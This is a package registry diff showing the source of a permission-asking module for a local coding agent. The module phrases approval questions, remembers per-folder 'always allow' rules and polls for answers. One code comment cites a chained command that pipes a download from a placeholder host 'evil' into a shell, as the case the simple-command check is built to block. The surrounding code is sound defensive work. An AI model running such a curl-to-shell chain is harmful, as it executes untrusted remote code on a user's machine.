viewable-one 0.0.0-stage → 0.12.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (89) hide show
  1. package/CHANGELOG.md +1483 -0
  2. package/LICENSE +21 -0
  3. package/README.md +738 -2
  4. package/SPAWN.md +2108 -0
  5. package/glytch.mjs +517 -0
  6. package/lib/acp.mjs +1018 -0
  7. package/lib/admission.mjs +105 -0
  8. package/lib/agent-selection.mjs +124 -0
  9. package/lib/agents.mjs +914 -0
  10. package/lib/atomic.mjs +96 -0
  11. package/lib/auth.mjs +1491 -0
  12. package/lib/authenticatedHttp.mjs +75 -0
  13. package/lib/boardside.mjs +225 -0
  14. package/lib/child.mjs +1292 -0
  15. package/lib/cli-output.mjs +176 -0
  16. package/lib/cloudflared-release.json +25 -0
  17. package/lib/cloudflared.mjs +81 -0
  18. package/lib/codex-rpc.mjs +92 -0
  19. package/lib/codex.mjs +767 -0
  20. package/lib/codexApps.mjs +344 -0
  21. package/lib/codexPlanWindow.mjs +84 -0
  22. package/lib/codexToolInputs.mjs +139 -0
  23. package/lib/codingChecks.mjs +55 -0
  24. package/lib/compose.mjs +76 -0
  25. package/lib/computerApps.mjs +110 -0
  26. package/lib/conversationRules.mjs +45 -0
  27. package/lib/detect.mjs +629 -0
  28. package/lib/devserver.mjs +670 -0
  29. package/lib/digest.mjs +290 -0
  30. package/lib/doctor.mjs +464 -0
  31. package/lib/exitClass.mjs +64 -0
  32. package/lib/hosted.mjs +112 -0
  33. package/lib/imageAttachments.mjs +31 -0
  34. package/lib/init-connect.mjs +418 -0
  35. package/lib/kill.mjs +104 -0
  36. package/lib/logindaemon.mjs +976 -0
  37. package/lib/logs.mjs +120 -0
  38. package/lib/mcpjson.mjs +242 -0
  39. package/lib/memberPreview.mjs +173 -0
  40. package/lib/multiwatch.mjs +428 -0
  41. package/lib/pagePictures.mjs +396 -0
  42. package/lib/pageRoutes.mjs +70 -0
  43. package/lib/paths.mjs +10 -0
  44. package/lib/permissionAsk.mjs +418 -0
  45. package/lib/picker.mjs +300 -0
  46. package/lib/platform.mjs +60 -0
  47. package/lib/previewGateway.mjs +130 -0
  48. package/lib/previewTunnel.mjs +85 -0
  49. package/lib/procs.mjs +428 -0
  50. package/lib/project-mcp.mjs +288 -0
  51. package/lib/projectPaths.mjs +31 -0
  52. package/lib/refusal.mjs +70 -0
  53. package/lib/registry.mjs +204 -0
  54. package/lib/repomap.mjs +323 -0
  55. package/lib/restartPass.mjs +151 -0
  56. package/lib/retired-address.mjs +78 -0
  57. package/lib/rowsAnswers.mjs +388 -0
  58. package/lib/rowsEvents.mjs +86 -0
  59. package/lib/run-engine.mjs +16 -0
  60. package/lib/runner-health.mjs +57 -0
  61. package/lib/runner.mjs +1640 -0
  62. package/lib/runnerAdmission.mjs +35 -0
  63. package/lib/runnerApi.mjs +312 -0
  64. package/lib/runnerCompletion.mjs +406 -0
  65. package/lib/runnerLease.mjs +37 -0
  66. package/lib/runnerMaintenance.mjs +27 -0
  67. package/lib/runnerPace.mjs +283 -0
  68. package/lib/runnerPerformance.mjs +26 -0
  69. package/lib/runnerRealtime.mjs +340 -0
  70. package/lib/runnerRegister.mjs +96 -0
  71. package/lib/runnerSettings.mjs +40 -0
  72. package/lib/runnerSettlement.mjs +145 -0
  73. package/lib/runnerWorkspace.mjs +177 -0
  74. package/lib/serverSweep.mjs +90 -0
  75. package/lib/sharedPreview.mjs +292 -0
  76. package/lib/signIn.mjs +47 -0
  77. package/lib/spawn.mjs +330 -0
  78. package/lib/sweep.mjs +161 -0
  79. package/lib/sync.mjs +484 -0
  80. package/lib/uninstall-project.mjs +589 -0
  81. package/lib/uninstall.mjs +464 -0
  82. package/lib/update.mjs +302 -0
  83. package/lib/usageLimit.mjs +108 -0
  84. package/lib/viewableFolder.mjs +105 -0
  85. package/lib/windows-command.mjs +85 -0
  86. package/lib/worktree.mjs +1142 -0
  87. package/lib/writePolicy.mjs +45 -0
  88. package/package.json +58 -4
  89. package/spawn-runner.mjs +167 -0
@@ -0,0 +1,418 @@
1
+ import { writeRisk, riskReason } from "./writePolicy.mjs";
2
+ import { appInputsText } from "./codexToolInputs.mjs";
3
+ // ASK IN THE IDEA (issue #478, rulings #470 #468 #417 #418).
4
+ //
5
+ // A coding agent on the person's computer works from a list of things it may
6
+ // do without asking. When it needs something outside that list it used to be
7
+ // refused silently and carry on worse off. Now it asks: one question lands in
8
+ // the idea ("Can I run pip install requests in my-app?") and the run waits for
9
+ // the answer.
10
+ //
11
+ // This file owns everything about that exchange that is not a pipe:
12
+ // - the words of the question and its three options;
13
+ // - what "Always allow in <folder>" remembers, and where;
14
+ // - waiting for the answer with the board's own `check_answer`;
15
+ // - turning the answer into allow or deny.
16
+ // child.mjs (Claude, `control_request`) and codex.mjs (Codex approval
17
+ // requests) each call the asker this builds; neither knows board vocabulary.
18
+ //
19
+ // WHY THE ASKER POLLS check_answer ITSELF and does not wait for the answer
20
+ // poll to deliver it as a message: the answer poll hands answers to the child
21
+ // as a USER message, and a permission answer must resolve the pending
22
+ // permission request instead, never be typed into the conversation. So the
23
+ // asker claims its question on the poll (`claim`) and reads the answer itself.
24
+ //
25
+ // NO ANSWER MEANS KEEP WAITING. The run's wall clock and Stop are the bounds;
26
+ // the stall watchdog does not count time spent waiting for a person
27
+ // (child.mjs `pendingPermissions`, codex.mjs `waitingOnPerson`).
28
+ //
29
+ // A plan draft never reaches here: drafts are read-only and never given the
30
+ // asker (agents.mjs commandFor, runner.mjs makeRunOpts).
31
+
32
+ import { createHash } from "node:crypto";
33
+ import { mkdir, readFile } from "node:fs/promises";
34
+ import { basename, join, posix, win32 } from "node:path";
35
+ import { writeFileAtomic } from "./atomic.mjs";
36
+ import { askUserOnBoard } from "./boardside.mjs";
37
+ import { callTool as hostedCallTool } from "./hosted.mjs";
38
+ import { viewableHome } from "./registry.mjs";
39
+
40
+ /** The three buttons, in this order. "Allow" is the recommended one. */
41
+ export const ALLOW = "Allow";
42
+ export const NOT_THIS = "Not this";
43
+ export const alwaysLabel = (folderName) => `Always allow in ${folderName}`;
44
+
45
+ const digest = (value) => createHash("sha256").update(value).digest("hex");
46
+
47
+ /** One line, single spaces, cut at `max` characters. Report any lost text. */
48
+ const oneLine = (text, max, onChanged) => {
49
+ const exact = String(text ?? "");
50
+ const flat = exact.replace(/\s+/g, " ").trim();
51
+ const shown = flat.length > max ? `${flat.slice(0, max - 1).trimEnd()}…` : flat;
52
+ if (shown !== exact) onChanged?.();
53
+ return shown;
54
+ };
55
+
56
+ /** Whitespace or characters that the one-line question cannot show exactly. */
57
+ const needsFullDisplay = (text) => /^\s|\s$|[\n\t]| {2}|[^\x20-\x7E]/u.test(text);
58
+
59
+ /** Visible command text: every CR and other hidden character is an escape.
60
+ * Full details escape boundary spaces; paths and scopes also escape LF/tab
61
+ * and literal backslashes (before introducing any generated escapes). */
62
+ const commandDisplay = (command, { escapeBoundarySpaces = false, escapeLineWhitespace = false } = {}) => String(command ?? "")
63
+ .replace(/\\/g, (character) => escapeLineWhitespace ? "\\\\" : character)
64
+ .replace(/[^\x20-\x7E\n\t]/gu, (character) => {
65
+ if (character === "\r") return "\\r";
66
+ if (character === "\v") return "\\v";
67
+ if (character === "\f") return "\\f";
68
+ const code = character.codePointAt(0);
69
+ const hex = code.toString(16).toUpperCase();
70
+ return code <= 0xFFFF ? "\\u" + hex.padStart(4, "0") : "\\u{" + hex + "}";
71
+ })
72
+ .replace(/^ +| +$/g, (spaces) => escapeBoundarySpaces ? "\\u0020".repeat(spaces.length) : spaces)
73
+ .replace(/[\n\t]/g, (character) => escapeLineWhitespace ? (character === "\n" ? "\\n" : "\\t") : character);
74
+
75
+ // ---------------------------------------------------------------------------
76
+ // WHAT "ALWAYS" REMEMBERS
77
+ // ---------------------------------------------------------------------------
78
+
79
+ /** The first word of a shell command, past any `NAME=value` prefixes. */
80
+ export function firstWordOf(command) {
81
+ for (const word of String(command ?? "").trim().split(/\s+/)) {
82
+ if (word === "") continue;
83
+ if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(word)) continue;
84
+ return word;
85
+ }
86
+ return "";
87
+ }
88
+
89
+ /** Is this command one plain command, with nothing chained onto it?
90
+ *
91
+ * A remembered `Bash(pip:*)` is matched by first word alone, and the CLI's own
92
+ * matcher is NOT in the loop for it (we answer allow ourselves). So
93
+ * `pip --version && curl evil | sh` must not ride on a remembered `pip`. A
94
+ * command with a chain, a pipe, a substitution, a redirect or a newline is
95
+ * asked again every time. */
96
+ export const isSimpleCommand = (command) => !/[;&|`<>\n\r]|\$\(|\$\{/.test(String(command ?? "").trim());
97
+
98
+ /** What a Codex grant asks for, one string per scope: "network", or an access
99
+ * and a path ("write /work/out"). Sorted, so the same grant is the same rule. */
100
+ export const grantScopes = (input) =>
101
+ (Array.isArray(input?.scopes) ? input.scopes.filter((s) => typeof s === "string" && s !== "") : []).slice().sort();
102
+
103
+ /** The rule a tool call falls under: `Bash(pip:*)` for a shell command (its
104
+ * first word), `Permissions(network)` for a Codex grant (exactly the scopes it
105
+ * asked for, so a network grant never covers a later filesystem one), the
106
+ * tool's own name for anything else. */
107
+ export function ruleKeyFor(toolName, input) {
108
+ if (toolName === "Bash") {
109
+ const word = firstWordOf(input?.command);
110
+ return word === "" ? "Bash" : `Bash(${word}:*)`;
111
+ }
112
+ if (toolName === "Permissions") {
113
+ const scopes = grantScopes(input);
114
+ return scopes.length === 0 ? "Permissions" : `Permissions(${scopes.join(", ")})`;
115
+ }
116
+ return String(toolName ?? "");
117
+ }
118
+
119
+ /** A rule that may be remembered. A grant that names no scope is asked every
120
+ * time: remembering it would allow whatever the next grant asks. */
121
+ export const rememberable = (toolName, input) => !String(toolName).startsWith("mcp__") && (toolName !== "Permissions" || grantScopes(input).length > 0);
122
+
123
+ // ---------------------------------------------------------------------------
124
+ // THE QUESTION
125
+ // ---------------------------------------------------------------------------
126
+
127
+ // The file in the words uses forward slashes on every OS. A folder written the
128
+ // Windows way ("C:\\work\\app") is read the Windows way wherever this runs.
129
+ const inFolder = (path, folder) => {
130
+ if (typeof path !== "string" || path === "") return "";
131
+ if (folder) {
132
+ const p = /^[A-Za-z]:[\\/]|^\\\\/.test(folder) ? win32 : posix;
133
+ if (p.isAbsolute(path)) {
134
+ const rel = p.relative(folder, path);
135
+ if (rel !== "" && !rel.startsWith("..") && !p.isAbsolute(rel)) return rel.split(p.sep).join("/");
136
+ }
137
+ }
138
+ return path;
139
+ };
140
+
141
+ const hostOf = (url) => {
142
+ try { return new URL(url).host || String(url); } catch { return String(url ?? ""); }
143
+ };
144
+
145
+ /** What the agent wants to do, as a verb phrase a person can read. */
146
+ export function actionWords(toolName, input = {}, { folder, folderName, onTargetChanged } = {}) {
147
+ switch (toolName) {
148
+ case "Bash": {
149
+ const command = oneLine(commandDisplay(input.command), 90);
150
+ return "run " + (command || "a command with no text") + " in " + folderName;
151
+ }
152
+ case "WebSearch": return "search the web";
153
+ case "WebFetch": return `open ${oneLine(hostOf(input.url), 60)}`;
154
+ case "Write": return `write ${oneLine(inFolder(input.file_path, folder), 80, onTargetChanged)}`;
155
+ case "Edit":
156
+ case "MultiEdit":
157
+ case "NotebookEdit": return `change ${oneLine(inFolder(input.file_path ?? input.notebook_path, folder), 80, onTargetChanged)}`;
158
+ case "Read": return `read ${oneLine(inFolder(input.file_path, folder), 80, onTargetChanged)}`;
159
+ case "Glob":
160
+ case "Grep": return "look through files outside this folder";
161
+ case "Permissions": {
162
+ const parts = grantScopes(input).map((scope) => {
163
+ if (scope === "network") return "use the network";
164
+ const [access, ...path] = scope.split(" ");
165
+ const where = oneLine(inFolder(path.join(" "), folder), 60, onTargetChanged);
166
+ return access === "write" ? `write to ${where}` : access === "read" ? `read ${where}` : `${access} ${where}`;
167
+ });
168
+ return parts.length === 0 ? "go past what it may do without asking" : oneLine(parts.join(" and "), 120, onTargetChanged);
169
+ }
170
+ default: {
171
+ const mcp = /^mcp__(.+?)__(.+)$/.exec(String(toolName ?? ""));
172
+ if (mcp) return `use ${mcp[2].replaceAll("_", " ")} from ${mcp[1]}`;
173
+ return `use the ${toolName} tool`;
174
+ }
175
+ }
176
+ }
177
+
178
+ /** One sentence on what the agent wants it for. Omit a missing purpose or
179
+ * a description that only repeats the command already in the question. */
180
+ function purposeOf(toolName, input = {}) {
181
+ const described = typeof input.description === "string" ? oneLine(input.description, 200) : "";
182
+ if (toolName === "Bash" && input.command) {
183
+ const command = oneLine(input.command, 200);
184
+ if (described === command || described === `${command}.`) return "";
185
+ }
186
+ if (described !== "") return /[.!?]$/.test(described) ? described : `${described}.`;
187
+ if (toolName === "WebSearch" && input.query) return `It wants to look up "${oneLine(input.query, 120)}".`;
188
+ if (toolName === "WebFetch" && input.url) return `It wants to read ${oneLine(input.url, 120)}.`;
189
+ return "";
190
+ }
191
+
192
+ /** The whole question, ready for ask_user.
193
+ *
194
+ * question: "Can I run pip install requests in my-app?"
195
+ * options: Allow | Not this | Always allow in my-app
196
+ * why: what it is for, or blank when there is no purpose to add;
197
+ * includes full commands, scopes or paths when cut or hidden
198
+ */
199
+ export function questionFor({ toolName, input, folder }) {
200
+ const mcp = /^mcp__(.+?)__(.+)$/.exec(String(toolName));
201
+ if (mcp) {
202
+ const [, provider, name] = mcp;
203
+ const risk = writeRisk(provider.toLowerCase(), name, input) ?? "open-ended";
204
+ return { question: `Use ${name.replaceAll("_", " ")} in ${provider}?`,
205
+ why: `On your computer, ${provider}\n${riskReason(risk)}\n${appInputsText(provider, input, name)}`,
206
+ options: [ALLOW, NOT_THIS], recommendation: { answer: ALLOW, why: "Allow this request once." } };
207
+ }
208
+ const folderName = basename(folder) || folder;
209
+ let targetChanged = false;
210
+ const action = actionWords(toolName, input, { folder, folderName, onTargetChanged: () => { targetChanged = true; } });
211
+ let why = purposeOf(toolName, input);
212
+ if (toolName === "Bash") {
213
+ // Preserve literal spacing and show hidden characters explicitly.
214
+ // Hosted ask_user has no upper why limit, so display the whole command.
215
+ const rawCommand = String(input?.command ?? "");
216
+ const command = commandDisplay(rawCommand, { escapeBoundarySpaces: true });
217
+ if (command.length > 90 || needsFullDisplay(rawCommand)) {
218
+ const fullCommand = `Command: ${command}`;
219
+ why = why ? `${why}\n${fullCommand}` : fullCommand;
220
+ }
221
+ } else if (toolName === "Permissions") {
222
+ const scopes = grantScopes(input);
223
+ // Compare at the formatter, after relativization and at both length limits.
224
+ if (targetChanged || scopes.some(needsFullDisplay)) {
225
+ const fullScopes = scopes.map((scope) => `Scope: ${commandDisplay(scope, { escapeBoundarySpaces: true, escapeLineWhitespace: true })}`).join("\n");
226
+ why = why ? `${why}\n${fullScopes}` : fullScopes;
227
+ }
228
+ } else if (["Write", "Edit", "MultiEdit", "NotebookEdit", "Read"].includes(toolName)) {
229
+ const path = String(input?.file_path ?? input?.notebook_path ?? "");
230
+ if (targetChanged || needsFullDisplay(path)) {
231
+ const fullPath = `Path: ${commandDisplay(path, { escapeBoundarySpaces: true, escapeLineWhitespace: true })}`;
232
+ why = why ? `${why}\n${fullPath}` : fullPath;
233
+ }
234
+ }
235
+ return {
236
+ question: `Can I ${action}?`,
237
+ why,
238
+ options: [ALLOW, NOT_THIS, alwaysLabel(folderName)],
239
+ recommendation: { answer: ALLOW, why: "It lets this run carry on with what you asked." },
240
+ };
241
+ }
242
+
243
+ // ---------------------------------------------------------------------------
244
+ // MEMORY: one small file per folder
245
+ // ---------------------------------------------------------------------------
246
+
247
+ /** `<glytch home>/permissions/<digest of the folder path>.json` */
248
+ export const memoryPath = (env, folder) => join(viewableHome(env), "permissions", `${digest(String(folder))}.json`);
249
+
250
+ /** The rule keys remembered for this folder. A missing or unreadable file is
251
+ * "nothing remembered", never an error: the worst case is one more question. */
252
+ export async function readRules(env, folder) {
253
+ try {
254
+ const data = JSON.parse(await readFile(memoryPath(env, folder), "utf8"));
255
+ return Array.isArray(data?.rules) ? data.rules.filter((r) => typeof r === "string") : [];
256
+ } catch {
257
+ return [];
258
+ }
259
+ }
260
+
261
+ /** Remember a rule for this folder. Atomic, so a run reading it at the same
262
+ * moment sees the old list or the new one, never half a file. */
263
+ export async function rememberRule(env, folder, key) {
264
+ const rules = await readRules(env, folder);
265
+ if (rules.includes(key)) return rules;
266
+ const next = [...rules, key];
267
+ const path = memoryPath(env, folder);
268
+ await mkdir(join(viewableHome(env), "permissions"), { recursive: true, mode: 0o700 });
269
+ await writeFileAtomic(path, `${JSON.stringify({ folder: String(folder), rules: next }, null, 2)}\n`);
270
+ return next;
271
+ }
272
+
273
+ /** Does a remembered rule cover this call? A shell command only when it is a
274
+ * single plain command (see isSimpleCommand). */
275
+ export function ruleCovers(rules, toolName, input) {
276
+ if (!rememberable(toolName, input)) return false;
277
+ const key = ruleKeyFor(toolName, input);
278
+ if (!rules.includes(key)) return false;
279
+ return toolName !== "Bash" || isSimpleCommand(input?.command);
280
+ }
281
+
282
+ // ---------------------------------------------------------------------------
283
+ // THE ANSWER
284
+ // ---------------------------------------------------------------------------
285
+
286
+ /** What check_answer said, as one of: {state:"open"}, {state:"answered",
287
+ * decision}, {state:"gone"} (dismissed, or no such question). */
288
+ export function readAnswer(text) {
289
+ const t = String(text ?? "");
290
+ const answered = /^Answered\. The user's decision: (.*)$/m.exec(t);
291
+ if (answered) return { state: "answered", decision: answered[1].trim() };
292
+ if (/^Answered\./m.test(t)) return { state: "answered", decision: "" };
293
+ if (/dismissed|^No such question/m.test(t)) return { state: "gone" };
294
+ return { state: "open" };
295
+ }
296
+
297
+ /** The message an agent reads when the answer is no. It must make the
298
+ * agent carry on rather than retry or stop. */
299
+ const NO_MESSAGE = "The person said no to this. Carry on without it, and do not ask for it again.";
300
+
301
+ /** An answer, as the verdict the engine needs: {behavior, remember, message}. */
302
+ export function verdictFor(answer, folderName) {
303
+ if (answer.state === "gone") {
304
+ return { behavior: "deny", remember: false, message: "The person dismissed the question without answering. Carry on without it, and do not ask for it again." };
305
+ }
306
+ if (answer.decision === ALLOW) return { behavior: "allow", remember: false };
307
+ if (answer.decision === alwaysLabel(folderName)) return { behavior: "allow", remember: true };
308
+ if (answer.decision === NOT_THIS || answer.decision === "") return { behavior: "deny", remember: false, message: NO_MESSAGE };
309
+ // Their own words: not a button. That is a no, with the words passed along,
310
+ // because "use yarn instead" is guidance the agent should read.
311
+ return { behavior: "deny", remember: false, message: `The person said no to this, and wrote: ${oneLine(answer.decision, 400)}. Carry on without it.` };
312
+ }
313
+
314
+ /** The deny an agent reads when the question could not be filed. The board's
315
+ * own refusal ("The run's idea is missing or deleted...") is the reason, so it
316
+ * reaches the run's transcript instead of a vague "could not be asked" (#592). */
317
+ export function notAskedMessage(filed) {
318
+ const reason = filed.ok ? "" : oneLine(filed.detail, 300);
319
+ return reason === ""
320
+ ? "The person could not be asked just now. Carry on without it."
321
+ : `The person could not be asked: ${reason} Carry on without it.`;
322
+ }
323
+
324
+ const sleepFor = (ms, signal) =>
325
+ new Promise((resolve) => {
326
+ if (signal?.aborted) { resolve(); return; }
327
+ const timer = setTimeout(done, ms);
328
+ function done() { clearTimeout(timer); signal?.removeEventListener("abort", done); resolve(); }
329
+ signal?.addEventListener("abort", done, { once: true });
330
+ });
331
+
332
+ /** Build the asker for one run.
333
+ *
334
+ * `ask({ toolName, input, signal })` resolves to `{behavior: "allow"}` or
335
+ * `{behavior: "deny", message}`. It resolves `null` when `signal` aborts first
336
+ * (the run ended or the CLI cancelled the request): nothing to answer then.
337
+ * An exact protocol `question` skips permission memory and resolves to
338
+ * `{behavior: "answer", answer}` or `{behavior: "cancel"}`. The protocol
339
+ * adapter validates the literal answer; free text never becomes a grant.
340
+ *
341
+ * folder the run's linked folder (memory is per folder; its basename is
342
+ * the "<folder>" in the options)
343
+ * session the run's board session ({key}), so the question lands on its idea
344
+ * fromId the idea the run belongs to
345
+ * poll the run's answer poll, so the permission question's answer is
346
+ * not also typed into the conversation (`claim`)
347
+ */
348
+ export function createPermissionAsker({
349
+ folder, session, fromId, env, callTool = hostedCallTool, poll, log = () => {}, pollMs = 2000,
350
+ }) {
351
+ const folderName = basename(folder) || folder;
352
+ const ask = async ({ toolName, input = {}, signal, question }) => {
353
+ if (signal?.aborted) return null;
354
+ // Protocol questions are exact, per-call choices. They never consult or
355
+ // write the folder's remembered permission rules.
356
+ const remembered = question ? [] : await readRules(env, folder);
357
+ if (signal?.aborted) return null;
358
+ if (!question && ruleCovers(remembered, toolName, input)) {
359
+ log(`permission: ${ruleKeyFor(toolName, input)} is allowed in ${folderName} (remembered), no question filed`);
360
+ return { behavior: "allow" };
361
+ }
362
+ const q = question ?? questionFor({ toolName, input, folder });
363
+ const filed = await askUserOnBoard(
364
+ session, q.question,
365
+ { why: q.why, fromId, options: q.options, recommendation: q.recommendation, purpose: "permission" },
366
+ { callTool, env },
367
+ );
368
+ if (!filed.ok || !filed.questionId) {
369
+ log(`permission: could not file the question (${filed.detail ?? "no id"}); denying`);
370
+ return { behavior: "deny", message: notAskedMessage(filed) };
371
+ }
372
+ log(`permission: asked "${q.question}" (${filed.questionId})`);
373
+ // The normal answer poll must not type this answer into the conversation.
374
+ poll?.claim?.(filed.questionId);
375
+ if (signal?.aborted) return null;
376
+ let failures = 0;
377
+ for (;;) {
378
+ if (signal?.aborted) return null;
379
+ const started = Date.now();
380
+ let outcome;
381
+ try {
382
+ // Match board-mcp's 50s maximum. The transport must outlive the held
383
+ // call; Stop and the run's wall clock still cancel it via signal.
384
+ outcome = await callTool("check_answer", { question_id: filed.questionId, wait_s: 50 }, {
385
+ sessionKey: session.key, env, timeoutMs: 60_000, signal,
386
+ });
387
+ } catch (error) {
388
+ outcome = { isError: true, text: error instanceof Error ? error.message : String(error) };
389
+ }
390
+ if (signal?.aborted) return null;
391
+ if (outcome.isError) {
392
+ // A blip is not an answer. Keep waiting; say so once.
393
+ if (failures++ === 0) log(`permission: check_answer failed (${oneLine(outcome.text, 120)}); still waiting`);
394
+ } else {
395
+ failures = 0;
396
+ const answer = readAnswer(outcome.text);
397
+ if (answer.state !== "open") {
398
+ if (question) return answer.state === "gone"
399
+ ? { behavior: "cancel" }
400
+ : { behavior: "answer", answer: answer.decision };
401
+ const verdict = verdictFor(answer, folderName);
402
+ if (verdict.remember && !rememberable(toolName, input)) log("permission: this grant names no scope, so it is allowed once and not remembered");
403
+ else if (verdict.remember) {
404
+ try { await rememberRule(env, folder, ruleKeyFor(toolName, input)); }
405
+ catch (error) { log(`permission: could not save the rule (${error?.message ?? error}); allowing this once`); }
406
+ }
407
+ log(`permission: ${verdict.behavior} for ${ruleKeyFor(toolName, input)}${verdict.remember ? " and remembered for " + folderName : ""}`);
408
+ return verdict.behavior === "allow" ? { behavior: "allow" } : { behavior: "deny", message: verdict.message };
409
+ }
410
+ }
411
+ // Renew a completed wait immediately. Back off after errors or an
412
+ // older endpoint that returns at once, rather than spinning.
413
+ const delay = outcome.isError ? pollMs : Math.max(0, pollMs - (Date.now() - started));
414
+ if (delay > 0) await sleepFor(delay, signal);
415
+ }
416
+ };
417
+ return ask;
418
+ }